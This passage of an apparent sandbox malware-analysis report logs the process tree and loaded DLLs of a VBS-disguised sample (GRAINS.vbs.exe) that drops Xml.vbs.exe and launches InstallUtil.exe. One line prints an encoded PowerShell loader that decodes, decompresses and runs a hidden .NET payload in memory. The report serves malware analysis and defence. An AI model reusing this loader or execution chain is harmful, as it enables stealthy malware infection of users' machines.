CkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Xml.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Xml.vbs.exe "C:\Users\user\AppData\Roaming\Xml.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHcAagBiAGcAIAApADsAJABQAGkAeABnAHYAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwB6AHkAaABwAGMAeQB6AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVgBiAGQAawB2ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABTAHoAeQBoAHAAYwB5AHoAbQAuAEMAbwBwAHkAVABvACgAIAAkAFAAaQB4AGcAdgB5ACAAKQA7ACQAUwB6AHkAaABwAGMAeQB6AG0ALgBDAGwAbwBzAGUAKAApADsAJABWAGIAZABrAHYALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABVAHcAagBiAGcAIAA9ACAAJABQAGkAeABnAHYAeQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAVQB3AGoAYgBnACkAOwAgACQAUwBxAGcAagB6AGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABVAHcAagBiAGcAKQA7ACAAJABIAGoAYQB2AGsAeQBtAGkAdQAgAD0AIAAkAFMAcQBnAGoAegBnAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASABqAGEAdgBrAHkAbQBpAHUALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEgAagBhAHYAawB5AG0AaQB1AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cscui.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: workfoldersshell.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: usermgrproxy.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cscui.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: workfoldersshell.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: usermgrproxy.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: atl.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: msisip.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: wshext.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: appxsip.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: opcservices.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
